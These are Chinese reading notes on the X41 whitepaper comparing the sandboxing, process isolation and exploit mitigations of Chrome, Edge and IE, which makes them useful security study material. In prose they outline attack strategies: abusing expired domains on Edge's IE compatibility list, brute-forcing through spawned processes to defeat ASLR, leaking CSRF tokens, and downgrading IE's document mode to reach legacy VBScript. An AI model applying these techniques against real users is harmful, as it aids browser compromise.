X41-浏览器安全白皮书读书笔记

X41团队17年整理的非常经典的浏览器安全白皮书。本文是我在学习时的一些笔记。

X41-浏览器安全白皮书读书笔记

0x01 摘要

旨在比较Chrome、Edge和IE的安全特性与攻击面。围绕两个问题展开:

  1. 哪个浏览器的安全性最高?
  2. 安全技巧是如何设计与实现的?

结果

Chrome和Edge更为安全,对抗exp也更为坚固。沙盒、缓解措施(编译选项+运行时限制)加固了安全性。

结果来看Chrome > Edge > IE。之所以会有这样的结果,概括的说有以下几点:

  1. IE没有完全体的沙盒,且支持一些过时的技术(如ActiveX这种日常CVE),Win10更是因为Edge的主导地位放弃了默认的IE,IE运行在PM而非EPM模式,可谓雪上加霜。PM相比较于Edge的AppContainer(基于沙盒的一种技术)和Chrome的沙盒,安全性明显呈弱势。
  2. Edge也受Microsoft大环境的影响,继承了一些老旧技术,安全性也就有所下降。Edge有一个站点名单,名单里的站点如果使用Edge访问则会默认使用IE打开(该举措是为了考虑兼容性)。这一举措对应的危险行为:注册一个名单里过期的域名,当用户用Edge访问时会触发IE去打开,然后利用已知0day搞安全性差了一截的IE,Edge的一些防御手法自然而然被绕过。
  3. 沙盒的设计不同。
    1. Chrome将各种职责划分给相互隔离的进程,对一些危险的任务诸如渲染不受信内容使用了多进程隔离各司其职这一套组合技,其中渲染和插件进程没有权限访问文件系统、注册表、网络,规避了安全问题。
    2. Edge和IE使用的是content进程,其手握重权且自己完成web页面的渲染。Edge因为有底层AppContainer的存在,相对来说隔离的较为安全。Edge的沙盒进程仍具有部分的访问网络、文件系统、注册表的权限。Edge和IE的沙盒使用了大部分的OS和编译时安全特性,此外还对content进程隔离以防止提权和控制流劫持。然而,content进程还是具有相当宽泛的能力的。
  4. 不同源站点的隔离手段。如果同一沙盒中不同源站点可以互相渗透,那沙盒也就形同虚设。特权站点的隔离,比如配置页面和扩展页面,在Chrome中做的较为完善。在Edge或IE中没有观察到基于通用的web源的隔离。Chrome中具体特权站点(比如扩展app store,flags,settings)在一个进程级别上隔离出去。Edge也一定程度上使用了进程级别隔离,比如在settings页面或内网站点和外网站点之间。Chrome的站点隔离实现的更为严格。
  5. Chrome的内容安全,同源策略都略胜一筹。Chrome带来了H5特性的新安全隐患(Service Workers,WebUSB,WebBluetooth)。IE支持的新web技术最少,其次是Edge。Edge和IE也因为这一点少了一定的攻击面(low逼有low逼的好处)。
  6. IE和Edge有着最多的客户端攻击漏洞,不止是已发布的exp,它们支持的老旧技术比如HTML应用、通过SMB资源泄露信令等也做出了极大贡献。另一方面,Chrome如果没有组策略的缓解措施,可以通过浏览器扩展来搞事情,扩展允许攻击者几乎完全掌控浏览器,X41曾绕过了Google Web Store实现的自动检测。
  7. Chrome的安全浏览器钓鱼保护做得也更好。地址栏的颜色和图标对于安全站点的识别都非常清楚,比如EV-SSL整数的会用绿色的锁头。
  8. 三个浏览器都会自动更新,IE和Edge是月更而Chrome则不定期且较频繁。Chrome开源,修复安全问题较快。三个浏览器都采用了各种保护手法,Chrome的CFG保护落后于Edge和IE。Chrome和Edge有安全漏洞的奖励。

一言以蔽之,经历了IE的惨痛教训,当代浏览器的设计都对安全性考虑的较为周全,它们应用了现代的隔离技术和缓解措施。

0x02 方法论

github repo上部署了测试的工具和案例。

• Google Chrome 61.0.3163.100,
• Microsoft Edge 40.15063.0.0 (EdgeHTML 15.15063),
• Internet Explorer 11.296.15063.0
running on Microsoft Windows 10 Build 15063.rs2_release.170317-1834

0x03 介绍

三个浏览器的特征非常相似,主要是因为要合乎标准的制定。然而标准的实现以及架构则大相径庭。当代浏览器不再是简单的渲染HTML,它们还提供了各种多媒体特性、扩展以及内置应用比如PDF阅读器和Adobe Flash。这些东西在以前对安全性有着重大的影响。

当代浏览器都是多进程,一些进程在沙盒中,它们的访问权限十分有限。

所有浏览器都包含这几个逻辑组件,拆分成不同的进程:

  • Web engine / HTML rendering engine
  • JavaScript engine
  • Data I/O such as network I/O and file system operations
  • Rendering / Graphics

浏览器还有内置的PDF/Flash支持,IE还提供了一些老旧技术,比如ActiveX,BHO。

三个浏览器都在不同的进程中运行各种组件,使用IPC来通信。broker进程负责和多个客户端进程通信。客户端进程执行特定的复杂任务,诸如渲染HTML站点,它们对系统的绝大部分都没有访问权限。broker进程可以访问系统资源,但是只能执行相当有限的任务集。

所有的浏览器都使用隔离技术来实施安全限制。

Chrome

  • WebKit engine to render HTML before version 28, Blink after then.
  • V8 JS engine, open source by Chromium
  • 所有进程都叫chrome.exe
    • Browser Process(medium integrity)
    • GPU Process(low integrity)
    • Renderer / Tab Processes(untrusted integrity)
    • Plugin-In Processes - for example PDF and Flash(untrusted integrity)
    • Crashpad Handler Process(medium integrity): Crash reporting
    • Watcher Process(medium integrity)
    • Utility Processes: Short lived processes for specific tasks(untrusted integrity)
  • browser process是主进程,它控制了所有的渲染进程。渲染进程负责渲染其所属tab的web页面和浏览器窗口。Setting和about: 页面也是渲染进程。对比Edge和IE来说,渲染进程不会直接执行网络通信。Chrome使用命名管道这种IPC来进行进程间通信。

Edge

对比先驱IE,Edge支持了一些新特性同时也废弃了一些老旧技术比如ActiveX和BHO(在CVE历史长河中留下浓墨重彩的一笔)。

EdgeHTML作为渲染引擎,Trident(IE用)的fork,基本重构了。参考:https://blogs.windows.com/msedgedev/2015/02/26/a-break-from-the-past-the-birth-of-microsofts-new-web-rendering-engine/

Edge使用Chakra JS引擎,引擎的核心部分ChakraCore是开源的。

Edge也使用分离的进程模型:

  • MicrosoftEdge.exe(medium integrity): Main browser process
  • MicrosoftEdgeCP.exe(Web)(AppContainer): Content processes for web content
  • MicrosoftEdgeCP.exe(UI)(AppContainer): Content processes for new tag pages.
  • MicrosoftEdgeCP.exe(Extensions)(AppContainer): Content processes for extensions
  • MicrosoftEdgeCP.exe(Settings)(AppContainer): Content processes for settings pages.
  • MicrosoftEdgeCP.exe(Flash)(AppContainer): Content processes for Flash
  • MicrosoftEdgeCP.exe(OOP JS)(AppContainer): Process for JIT JavaScript compilation
  • browser_broker.exe(medium integrity): Broker process
  • RuntimeBroker.exe(medium integrity): Permission Management

Edge仅在windows平台,这些进程都由svchost.exe产生。Edge与部分UWP App框架的其他进程交互,比如那些运行ApplicationFrameHost.exe的进程。

安装扩展需要通过浏览器的Windows Store,这需要用户的交互,浏览器仅能打开Store App,用户必须手动选择安装的拓展。

主浏览器进程负责渲染tab UI,共享导航元素。因为它包含了地址栏,终端用户不得不做出安全的决定来进行显示。这需要严格控制:敏感信息不能被一个恶意页面控制。Edge使用content进程来渲染这样的内容。

Adobe Flash在单独的进程中运行。加载flash的页面也会启动一个FlashUtil_ActiveX.exe的进程,kill这个进程貌似不会影响flash内容,它用于功能交互。如果进程被杀,不会自动重建(除非新的flash页加载或flash页刷新)。这个额外的进程目的不是很明确,但是其二进制文件包含了很多字符串,看起来和更新有关。除了初始化时的通信,此后该进程不再和content进程进行通信。

相对AppContainer上的进程,broker提供了有限的敏感资源访问权限,比如分布式组件对象模型(DCOM)和WinRT。

IE

因为IE对旧技术的支持,在一些情境中仍然会被用到,所以还是有挖掘的价值。

在Win8的metro模式中,运行在EPM且ActiveX,BHO等都不可用,同时使用了AppContainer沙盒。当在桌面模式运行时,老旧技术通通激活,没有应用AppContainer。一些老旧技术比如VBScript和VML只在Win32上可用。

在Win10中,Edge作为Metro App而不再用IE,但是桌面模式的IE还是支持的,用于访问那些edge不兼容的站点。

IE是基于Loosely-Coupled IE(LCIE)模型(从IE8开始):

  • iexplorer.exe(medium integrity): Main browser process UI Frame and broker
  • iexplorer.exe(low integrity): Tab processes for web content

主进程同时作为broker和UI frame进程,为tab的页面创建额外的子进程。Win10之前的版本,tab进程可以通过激活EPM来使用AppContainer。默认情况使用的是PM,此时tab进程以low integrity级别运行。主进程使用medium integrity级别运行。

0x04 攻击面

标准支持趋势下的新旧技术更迭。围绕web的各种技术(js, image, h5c3, etc)展开。

评价软件安全性的方方面面自古以来就是个很复杂的议题,标准也难以量化。

0x05 安全组织形式

  • bug赏金
    • chrome
      • 逐年递增,难度越来越大
    • edge
      • 微软也是财大气粗
    • IE
      • 凉凉
  • exploit价值
    • zerodium
    • pwn2own
    • vuldb

##0x06 企业特性

老旧技术的兼容

企业环境经常会需要老旧技术,IE过时的API、非标准的特性等。使用白名单来限制这一应用。网络管理员应该对添加的老旧站点的安全性负责。chrome和edge提供了不同的方法来配置白名单,它们允许特定的站点使用IE打开。

Chrome:

使用组策略的“Hosts to Open In the Alternative Browser”配置白名单。

想要利用IE的洞就需要添加恶意站点到白名单中,这就意味着需要突破组策略。然而组策略都突破了,却仅仅改个白名单岂不是本末倒置。

Edge: 通过Enterprise Mode Site List配置名单。名单是个xml文件,参考Use Enterprise Mode to improve compatibility

三种格式:

  • HTTP location: “SiteList”=“http://localhost:8080/sites.xml”
  • Local network: “SiteList”=“\network\shares\sites.xml”
  • Local file: “SiteList”=“file:///c:\Users\\Documents\testList.xml”

配置组策略的“Allow Microsoft Compatibility List”可以使用默认的名单,缺省即如此。

如果用edge打开这里面的站点,页面就会显示需要依赖旧技术且会通过IE打开。用户可以选择是否打开IE。

Chrome在这方面显然有着优势,安全交互上它不提供简单的工作流去打开IE,规避了Edge自作聪明的问题。

通过组策略进行企业管理

Chrome和Edge都支持Windows组策略的集中管理及配置。组策略提供了不同机器的配置设定控制以及用户账户的集中管理。

浏览器可以开关各种特性,用不同的组策略来完成。

0x07 沙盒

应用组件相互隔离,且和系统的剩余部分隔离。沙盒中的组件以自身的访问权限访问系统及其他组件

的资源,权限严格限制。沙盒的重要意义在于一旦漏洞被发现,攻击者的exp所能做的将相当有限,沙盒之中权限被严格控制。

沙盒技术

Windows的三种流行沙盒技术:Integrity机制、AppContainer、Job对象。

SetProcessMitigationPolicy函数可以用来设置多种策略以限制对OS各种特性的访问权限,这对攻击者来说将是用于沙盒逃逸的绝佳利器。

####Integrity级别

  • Vista首发,用于限制进程可以访问的资源。integrity越低,可访问的就越少。
  • Medium & High Integrity
    • 因为大部分资源都在low或medium级别,所以这两个级别的进程能访问的资源相当多。medium视为普通用户,而high则视为管理员。任何沙盒进程都应该运行在低于medium级别。
  • Low Integrity
    • 大部分窗口消息和进程钩子被User Interface Privilege Isolation所阻塞
    • 打开进程,使用CreateRemoteThread被进程对象上托管的标签所阻塞
    • 共享内存区段的写操作被阻塞
    • 异步使用higher integrity进程创建的命名对象被默认托管标签所阻塞
    • 绑定到一个运行的COM服务实例被阻塞
    • 可以访问键盘(拷贝粘贴)
    • 可以访问RPC
    • 可以访问Sockets
    • 可以访问高优先级进程显式声明的允许低优先级进程接收的窗口消息(通过ChangeWindowMessageFilter)
    • 可以访问被高优先级进程显式地降低托管标签的共享内存区段
    • 可以访问COM接口,但必须经由高优先级进程允许低优先级client的绑定
    • 可以访问命名管道,创建者显式地设置了管道的托管标签为允许低优先级进程访问
  • Untrusted Integrity
    • 最低的优先级,关联到匿名SID。对系统资源的访问几乎全被限制。这一级别的进程无法访问low, medium或high integrity级别的资源。

####AppContainers

AppContainers中的进程默认无法访问安全对象。可以通过一个安全对象白名单来访问某个安全对象。

白名单由Access Control Entry中的Security Identifier实现。SID有3种。

  • Capability SID
    • 可以赋予一个进程到特定资源的访问。有相当数量的Capability SID用于保证AppContainer访问注入网络、WebCam、文件系统各部分等等资源。只有Capability SID显示的声明了一个特定资源,AppContainer才可以访问。
  • AppID SID
    • AppID SID用于提供AppContainer访问属于某个特定应用的安全资源。例如,一个表示某个应用的私有存储安全对象可以给出一个ACE,控制任何AppContainer对该资源的访问,只有当持有特定的AppID时才可以访问。
  • ALL APPLICATION PACKAGES(“AC”) SID
    • AC SID是个通配符,表示所有AppContainer都可以访问。它用于那些没有任何访问限制的安全对象。例如,WinRT API对所有的AppContainer都应该是可访问的。

AC SID在Edge中被禁用了。Edge中用Capability SID和AppID SID来替换。

一些可用的预定义的Capability SID。X41做了件好事,他们收集了已知的capabilitiy SID,索引了他们的SID以及长名称成一个翻译表,更为容易的获取SID信息。

Edge中一些重要的capability SID:

  • internetClient
  • privateNetworkClientServer
  • enterpriseAuthentication
  • enterpriseDataPolicy
  • confirmAppClose
  • extendedExecutionBackgroundAudio
  • extendedExecutionUnconstrained
  • packageQuery
  • picturesLibrary
  • sharedUserCertificates
  • targetedContent

####Job(Kernel) Objects

最古老的限制进程的技术。可用于一组进程的控制,比如限制他们内存的使用量。

还可以用来阻止进程执行特定的动作。Chromium利用了这一技术:

  • 禁止使用SystemParametersInfo()进行全系统范围的更改,该系统可用于交换鼠标按钮或设置屏幕保护超时。
  • 禁止创建或切换桌面
  • 禁止修改每个用户显示分辨率和主要显示等配置
  • 禁止读写剪贴板
  • 禁止窗口消息广播
  • 禁止设置全局钩子(使用SetWindowsHookEx())
  • 禁止访问全局原子表
  • 禁止访问Job对象创建以外的USER句柄
  • 单进程限制(不允许创建子进程)

####IPC

Edge和IE使用COM消息进行进程通信。Chrome使用自己的IPC和Mojo:IPC被Mojo所取代。Chrome的broker进程对行为进行限制。

X41做了一些测试,证明Chrome,Edge和IE的进程间通信工作得都很稳定。

IPC可以绕过沙箱限制,所以是个重要的攻击向量。

COM较为复杂,具有较大的攻击面。微软有COM安全的文档。Chrome则有类似的沙盒IPC威胁文档,由开发者记录

沙盒测试方法论

一些测试用的方法,脚本二进制程序。

  • CheckFileAccess
  • CheckNetworkAccess
  • CheckProcessAccess
  • CheckRegistryAccess

Chrome沙盒

某些进程在沙盒中。

lower integrity level,low privilege token,job对象以及hardening技术(如win32k lock-down)用于组合实现沙盒。

主进程之后的所有进程都以type=…的命令行参数启动。参数决定了进程的角色、运行的组件。

内置PDF阅读器并不在独立的沙盒类型中运行,而是在一个渲染进程中,类似常规页面。

  • 主进程
    • 主进程管理UI窗口、控制网络吞吐。主进程不在沙盒中,运行在medium integrity。
    • Network/Private network and loopback/Port binding/File system/Registry/Process Allowed
  • type=crashpad-handler and type=watcher processes
    • Network/Private network and loopback/Port binding/File system/Registry/Process Allowed
    • 收集状态信息,向Google报告崩溃。
    • 不在沙盒中,运行在medium integrity
    • 目前没什么漏洞爆出,或者足够鲁棒,或者无人问津
  • type=renderer and type=ppapi processes
    • Network/Private network and loopback/Port binding/File system/Registry/Process Blocked
    • 渲染页面。解析HTML, SVG, CSS, images, 运行JS等。PDF也在这个进程中渲染。
    • 这些组件非常复杂,包含搜寻漏洞的方方面面。也是漏洞的高发地。
    • ppapi进程用来控制插件,比如Flash。在过去,同样爆出过较多的漏洞。
    • 运行在untrusted integrity level
  • type=gpu-process
    • Network/Private network and loopback/Port binding Allowed
    • File system/Registry/Process Partially Blocked
    • GPU进程用来实现WebGL,渲染图形的JS API。为了支持硬件加速,将需要访问图形硬件。这就意味着不能像其他进程那样放在沙盒中。GPU进程运行在low integrity
    • File system: %ProgramData%\Microsoft\DeviceSync + %ProgramData%\Microsoft\PlayReady
    • Network: 绑定到本地套接字,可以连接到回环设备、内网和外网。
    • Registry: \SOFTWARE\Microsoft\DRM 和\SOFTWARE\WOW6432Node\Microsoft\DRM
    • Process: 访问各种其他进程。当前登录用户的所有进程的一个子集。

Edge沙盒

用AppContainer来实现沙盒。

utility进程不在沙盒中,包括:

  • browser_broker.exe: 特殊broker进程,用以代理访问各种沙盒进程无法直接访问的资源。
  • RuntimeBroker.exe: 通用broker进程,为所有的UWP apps代理访问各种资源。
  • ApplicationFrameworkHost.exe: 进程控制了所有UWP apps的UI窗口的创建。

沙盒逃逸的攻击点。

AppContainers:

  • Manager AppContainer: 提供通用的UI特性比如导航按钮,地址栏,tab,收藏等。
  • Internet AppContainer: hosts/renders websites of the internet.
  • Intranet AppContainer: hosts/renders websites of the local intranet.
  • Extensions AppContainer: hosts extensions.
  • Flash AppContainer: hosts Adobe Flash.
  • Services UI AppContainer: hosts Microsoft Edge UI websites, such as about:flags, new tab page, etc. . .

PDF阅读器也不运行在单独的沙盒进程中,而是intranet/internet AppContainer中类似常规页面。

不同AppContainer访问browser_broker IPC的权限不同。

不同AppContainer拥有的SID,资源访问的权限。

SOP

非同源web页交互受限(读写数据)。

RFC6454/Chromium pages/Wikipedia

绕过同源策略称作UXSS。

三种浏览器进程隔离的实现

Chrome的web store、internal chrome://以及extensions都是进程隔离的。新的tab页也在独立进程中,但通过window.open或iframe中打开的跨源页并不在独立进程中,而是在同一tab页进程中。某些站点增强了保护,比如window.open打开的“https://chrome.google.com/webstore/category/apps?hl=de” popup页就会新生成一个进程,而常规的页则不会(x41用的https://myaccount.google.com)。

popup出去的页如果未进程分离,那么原始tab页崩溃则意味着popup页也会崩溃。

通过img标签从非同源加载任意内容到隔离的渲染器中仍旧可行。非同源加载=》泄露CSRF token=》发起CSRF攻击。

============================================================

Edge的window.open或iframe中的非同源web页并未进程隔离。settings在不同的AppContainer,也就对应不同进程。

tab页打开非同源站点,不会生成新的进程,会使用已存在的content进程。因此如果一个恶意页面被打开,那么content process的所有页都将被搞垮。

Edge对internet origin和private intranet/trusted sites做了区分,它们在不同的AppContainer中。因此internet origin导航出一个intranet website的话,会有进程隔离(应该说AppContainer隔离)。

============================================================

IE没有针对非同源做进程级隔离。IE的配置页面不是浏览器的一部分,而是Windows Control Panel的一部分,所以settings根本不在webpage进程中。下载和扩展页在父进程中,也都不在webpage进程中。

Process spawning and exploitation

进程隔离有一个潜在的问题:允许攻击者去强制浏览器生成新的进程、控制新进程的内容。

spawn一个新进程=>test exp=》失败了不要紧,反正原本的非同源tab页不会挂掉,反复重试即可。

这就形成一个brute-force attack,可以绕过ASLR,/GS Cookie,VTGuard。

Hardening and Exploit Mitigation

各种缓解措施 = OS特性+编译时flag+自身custom

测试方法论

一些工具

Hardening Techniques

  • /GS
    • 栈守护天使
  • ACG
    • 阻止未标记可执行代码以及被修改了的标记可执行代码
    • 仅Edge在四种类型AppCointainer中应用
    • Edge的OOP JS Compiler(type 006)是个攻击点,唯一一个不应用ACG且会动态生成代码的地方。
  • ASLR
    • 代码数据基址随机化
    • windows因为dll本身的设计,只要一息尚存,那么本次系统运行中dll基址就不会变,改变需要等下次重启,这和linux的延迟加载so不太一样。
    • 32bit下的风水,分配足够多内存,低风险的读写原语bypass ASLR
    • 64bit可以激活high entropy ASLR来增大随机空间。重定位表的关键性。
    • 可以让系统不去加载那些没有重定位信息的模块,防止ASLR的bypass
  • Allocator Hardening
    • Chrome
      • Oilpan
        • 内置GC保证内存仅当被释放为可用时才可用于分配。防止UAF。
        • 也称为Blink GC。
        • 使用PartitionAlloc来分配以随机化分配页的基址。
        • metadata在发行版本中没有canary保护,与allocated data邻近
      • PartitionAlloc
        • Blink layout engine分配器,PDF renderer分配器
        • 不同对象处于不同池,池之间有守护页隔离,防止线性上下溢
        • metadata保存在不同页上,因此溢出手段无法修改,阻止了常规的堆溢出利用方法
        • bucket装不同尺寸对象
        • 一个内存页只能包含尺寸相近的对象
        • Dereference of a freelist pointer should fault.
        • Partial pointer overwrite of freelist pointer should fault.
        • Large allocations are guard-paged at the beginning and end.
        • 分配释放时没有清空数据可能会给一个double-free的机会,但增强这一安全性就会降低性能
        • WTF引擎的fast_malloc_allocator_, array_, buffer_allocator, buffer_allocator_, layout_allocator_使用PartitionAlloc,PDFium使用PartitionAlloc划分字符串类型、通用分配以及JS Array-Buffer。每一块都包括一些buckets,用于组织相近尺寸的对象。
      • Discardable memory
        • 在内存受限系统中缓存大对象
        • 内存紧缺时,未锁对象的内存可以被释放。该分配由memory mapped files实现
        • 本身没有安全特性,随机化也依赖于系统本身的mmap()
      • malloc
        • 默认OS分配器。
        • malloc和free都不会清空内存
    • Edge & IE
      • MemGC
        • HTML渲染引擎使用的分配器。
        • 使用mark-and-sweep算法来做GC处理,降低UAF风险。
        • 代码release对象之后,不会立即释放对象内存。一些条件下会通过扫描来判定哪些对象可能还会被代码用到。只有当没有代码使用该对象时才会真正的释放。
        • edgehtml.dll和mshtml.dll使用MemGC。其他组件不用,比如chakra.dll和jscript9.dll
        • MemGC是IsolatedHeap和Memory Protector的取代品
      • Heap Isolation
        • Edge诞生之前,IE使用的是一种叫做IsolatedHeap的缓解技术。
        • IsolatedHeap是一个分离的堆,仅用于存储全部的DOM对象
        • 攻击者难以利用漏洞去操控该堆,因为大部分使用的技术针对的都是main heap而非该DOM heap。该技术有效的缓解了堆风水。
        • MemGC伴随Edge出现后,IE就不再用IsolatedHeap而是MemGC。MemGC分配的对象也在一个分离的堆上,类似于IsolatedHeap。
      • Javascript memory management in IE
        • jscript9.dll是IE的js引擎
        • 对象创建时,jscript9.dll直接分配内存在main process’s heap上。有些对象通过其他组件分配,比如strings(表示成BSTR结构,通过OLEAUT32.dll分配),但也用main process’s heap。
        • 对象的内容易于操控,exp中也经常通过控制堆的内容来实现利用。
      • Javscript memory management in Edge
        • Chakra引擎,有一个基于MemGC的更为复杂的内存管理器。
        • Chakra的内存管理器和MemGC的安全性一致。
  • CFG
    • 一个包含有效C++方法的白名单,可以阻止通过修改vftable指针实现的任意代码执行。
    • 本质上就是限制了vftable包含的内容的有效性,毕竟vftable是编译期产生的。
    • _guard_check_icall()->_guard_dispatch_icall(),内部还会check,提升了性能但安全特性还在
    • CFG显然是编译期激活的。
    • dumpbin.exe /loadconfig
    • Chrome用自己的clang&CFI机制,不买CFG的帐
      • chrome.dll, chrome_elf.dll, chrome_watcher.dll, chrome_child.dll, libegl.dll, libglesv2.dll
      • 还是现在进行时
  • Child Process Policy
    • 应用程序可以请求OS禁止其生成子进程。用于防止攻击者发起一个执行任意应用程序的进程并以此逃逸沙盒。与此同时,这也阻止了攻击者绕过其他缓解措施(新的进程可能没有这些缓解措施)。
    • 一旦禁止生成子进程,无论是直接(WinExec)还是间接(通过out-of-process COM server)都不行。
    • Chrome和Edge对一部分进程开启了该策略。
      • Chrome的沙盒渲染器、PPAPI和GPU进程
      • Edge的Flash,PDF和Intranet/Internet AppContainer进程
      • chrome的 main, crashpad-handler和watcher进程都未开启
      • Edge的browser_broker.exe, runtimebroker.exe和Master AppContainer进程未开启
      • IE完全没开启
      • X41认为Chrome只有main process需要运行子进程,建议其他未开启的进程也开启
  • DEP
    • 不可执行的memory region->executable code->access violation
    • Windows默认开启,但允许关闭这个feature
    • 32位的iexplore.exe在64位机上,二进制头中没有开启DEP,看起来是运行时开启。
  • HIGHENTROPYVA
    • ASLR的升级版,在64位地址空间中扩大了区段随机范围
    • 有个问题在于进程内的所有二进制都激活时才算有效,有一个没开都会给机会(类似aslr, safeseh这种自古以来的问题,只能靠时间来打磨)。
    • 三个浏览器的64bit版本对所有的二进制都激活了这个特性
  • Extension Point DLLs
    • 应用程序可以请求OS不要加载过时的Extension Point DLLs。第三方程序有一些办法来请求OS去注入DLL到进程中,实现功能扩展。
    • 这个安全特性可以用于禁止该加载。
    • Chrome和Edge实现了该特性,但仅对有限的进程有效。
      • Chrome的GPU, PPAPI, 渲染进程
      • Edge的runtime broker进程
      • x41建议所有进程都开启这个特性
  • 无效句柄
    • 应用程序可以请求OS,一旦其试图用一个无效的句柄调用API,则立即终止自身。赤裸裸的对抗exp。
    • IE完全没有启用
    • Chrome的main,watcher,crashpad-handler进程未启用
    • Edge的browser broker进程未启用
    • x41建议所有进程都开启这个特性
  • Low-integrity binaries
    • 应用程序可以请求OS不允许自身加载任何low-integrity文件系统目录。用以阻止攻击者下载一个任意二进制到low-integrity文件系统目录中并加载到进程。
    • 大部分沙盒进程有且仅有对low-integrity目录的访问,所以这个缓解措施相当有效
    • 只有Chrome对沙盒渲染器,PPAPI和GPU进程激活了这个特性。
    • x41建议微软在Edge和IE中开启所有对below-medium-integrity级别资源的加载拦截。
  • Remote DLLs
    • 应用程序可以请求OS不许从远端加载DLL(SMB)。借以阻止攻击者触发一个进程去加载任意路径下的模块。
    • Chrome和Edge实现了该特性,但仅对有限的进程开启。
      • Chrome的GPU,PPAPI和渲染进程
      • Edge的Internet和Intranet AppContainer进程
    • x41建议所有进程都开启
  • Syscall Proxying
    • Windows系统提供各种win32k.sys的系统调用,它们可以包含很多安全漏洞,可以用来执行提权代码。
    • 该攻击向量可以在沙盒中获取代码执行的机会后,完成沙盒逃逸、攻击系统内核。
    • 如果一个进程不需要直接访问这些系统调用,应用程序可以请求OS禁止其做任何系统调用。这就阻止了攻击者的提权攻击向量。
    • Win32k Lockdown
      • 只有Chrome实现了系统调用过滤,但仅对PPAPI和渲染做了处理。这些进程需要用到win32k的一些特性,系统调用的一个子集由main process代理。
      • SetProcessMitigationPolicy可以限制32位的系统调用,使用System Call Disable Policy.aspx), 一个运行时策略架在进程上以阻断32位系统调用。
      • 非32位的系统调用不会被win32k lockdown
  • Out-of-process Javascript compilation
    • 当代js引擎可以编译js成本地机器码,直接在CPU上运行以提速。
    • 这就需要创建一片可写的内存区域来写入编译出的汇编代码。标记内存区域为可执行。
    • 给了攻击者生成可执行代码的机会。
    • Out-of-process Javascript compilation通过将编译的js放在单独的进程中可以缓解这些攻击手法。阻止攻击者去修改包含编译代码的内存区域。
    • Edge使用了这一技术。
    • Chrome未使用,why?
    • IE则不需要,它用原始的方式解释执行。
  • SafeSEH/SEHOP
    • SafeSEH阻止非法SEH的执行,要求SEH的必须是已知的有效异常handler中的一个。本质上还是编译时给个白名单,然后防篡改。
    • SEHOP是SafeSEH的进化版,它检测栈上SEH数据的修改,通过检查SEH链是否完整,直到众所周知的最后一个SEH结构。
    • 三个浏览器都开了SafeSEH,Windows当前版本的所有进程也都开了SEHOP保护,三个浏览器都没禁用。
  • Signature checks
    • 应用程序可以请求OS禁止加载任何含有微软签名以外的二进制文件到进程中,旨在抵御攻击者猥琐的DLL注入。
    • 非微软开发的桌面app不能使用该缓解措施(显然,自己写的dll怎么可能会有微软的signature)
    • Edge对所有AppContainer沙盒激活了这一特性,除了Main AppContainer
    • Chrome和IE没有使用该特性。
  • System Fonts only
    • 应用程序可以请求OS禁止加载系统上已安装字体以外的字体。
    • Chrome实现了该特性,仅对GPU,PPAPI和渲染进程有效。
    • X41建议所有浏览器所有进程都部署该特性
  • VTGuard
    • 用以检测vftable指针的修改,使用一个canary存储在每个有效虚表的特定位置。vftable使用前,代码会检查canary的值。
    • 因此攻击者需要去leak/brute-force这个canary值,放在自己伪造的虚表中。
    • 三个浏览器都加载了iertuil.dll模块,它内部的一些class实现了VTGuard(VTGuard canary是和class一一对应的,所以编译时需要assign)。Chrome将其作为另一个DLL的依赖,并不直接使用。Edge和IE在其他二进制中实现了VTGuard,尤其是渲染引擎:edgehtml.dll和mshtml.dll
    • 公共符号可以给出每个模块的vftables的数量,VTGuard canaries的存储情况。
    • VTGuard缓解有效需要这些条件:
      • 漏洞允许攻击者篡改虚表指针
      • 可被篡改的vftable指针的类开启了VTGuard的保护
      • 漏洞无法泄露canary的值
    • CFG和VTGuard并不冲撞,尽管都是拦截间接调用。

Web安全

浏览器安全不只有沙盒和缓解措施,还有4种Web安全的方方面面:

  • SOP
  • Port Banning
  • Content Security Policy
  • H5特性的支持

这些特性都是正在进行时,X41仅对当前的实现做了分析。

相比较Edge和Chrome,IE暴露了一个特定的攻击面:VBS,VML等老旧技术。这些技术默认是禁用的,可以在IE的32位版本中激活(通过head中的meta标签,Document mode降到IE9)。

<meta http-equiv="X-UA-Compatible" content="IE=9">

老旧技术允许一个已经用higher Document模式渲染的页面下降到lower Document模式,比如通过iframe。这种技术不再可用了,降低Document模式需要一个server-side资源返回一个meta标签或者equivalent X-UA-Compatible server header。

yuange的江湖一招鲜(VBScript)。

Edge和Chrome完全放弃了老旧技术,这个攻击面也就不再适用了。

SOP

限制不同站点的交互。

同源判定:hostname、scheme、port

同源绕过UXSS,信息泄露,修改settings等等连锁反应。

所有浏览器都有过SOP的bypass历史,现在也有。

SOP绕过漏洞经常是逻辑bug。漏洞本身没啥比较性,但历史来看,Edge和IE的SOP绕过漏洞更多一些。

Port Banning

用于拒绝非标准TCP端口的连接,主要针对那些ascii-basic protocol。

Edge和IE只ban了8个port,chrome ban了63个,所以攻击者会倾向于微软的浏览器。

CSP

HTTP响应头中站点可以设置对脚本源的限制,受限的脚本源不被接授。可以缓解XSS以及其他的数据注入。严苛的白名指定哪些源不被接受。

Relaxed CSP

bypass的对抗

H5特性支持 web新技术

并非支持新技术多就意味着不安全,反之亦是。

  • Service Workers
    • AppCache的替代品,离线API试验品
    • 运行在后台的js代码,网络同源获取,postMessage与parent page通信
    • 被以下动作实例化:
      • prefetching content
      • subresource access
      • navigating resources
      • background synchronization
      • push notifications
  • WebRTC and ORTC
    • 允许两个浏览器的RTC,ORTC的权限更低,有时也叫WebRTC 2.0。
    • 点对点连接。提供API来获取IP地址。攻击者可以利用。
    • Edge实现了ORTC,支持WebRTC的部分实现。Edge的ORTC默认可以泄露本地网络IP地址,WebRTC不行。
    • Chrome实现WebRTC,计划实现ORTC。WebRTC默认可以泄露本地网络IP地址。
    • IE啥也没有,也就没有这个泄露的问题。
    • Edge和Chrome的两个泄露原语code snap
  • History Management
    • 可以滥用history.pushState,但必须同源才能添加history entry
    • 可以freeze current tab,通过死循环pushState
  • WebAssembly
    • 使用WASM攻击对抗浏览器、其他组件或操作系统(提权)
      • 与js攻击面很相似
      • 浏览器都有着相同的沙盒策略以及缓解措施
      • WASM程序运行在沙盒中渲染进程
      • WASM程序运行在属于Appcontainer中的webpage的进程
    • 对抗使用WASM实现的应用程序
      • 因为新特性可能会导致安全问题,所以用WASM写的应用程序可能有漏洞
    • Handling of Application Level Invalid Actions and Error Cases
      • 编写OOB的C代码,编译成WASM binary,测试发现并不像文档描述那样触发trap,而是无错误的返回了。
      • 进一步发现使用的是SIDE_MODULE=1编译的,无法触发trap和安全检查。
    • Arithmetic Overflows and Truncation
      • long long type error
    • WASM Mitigations and Exploit Primitives
      • 反回函数在一个受保护的空间,不会被线性溢出
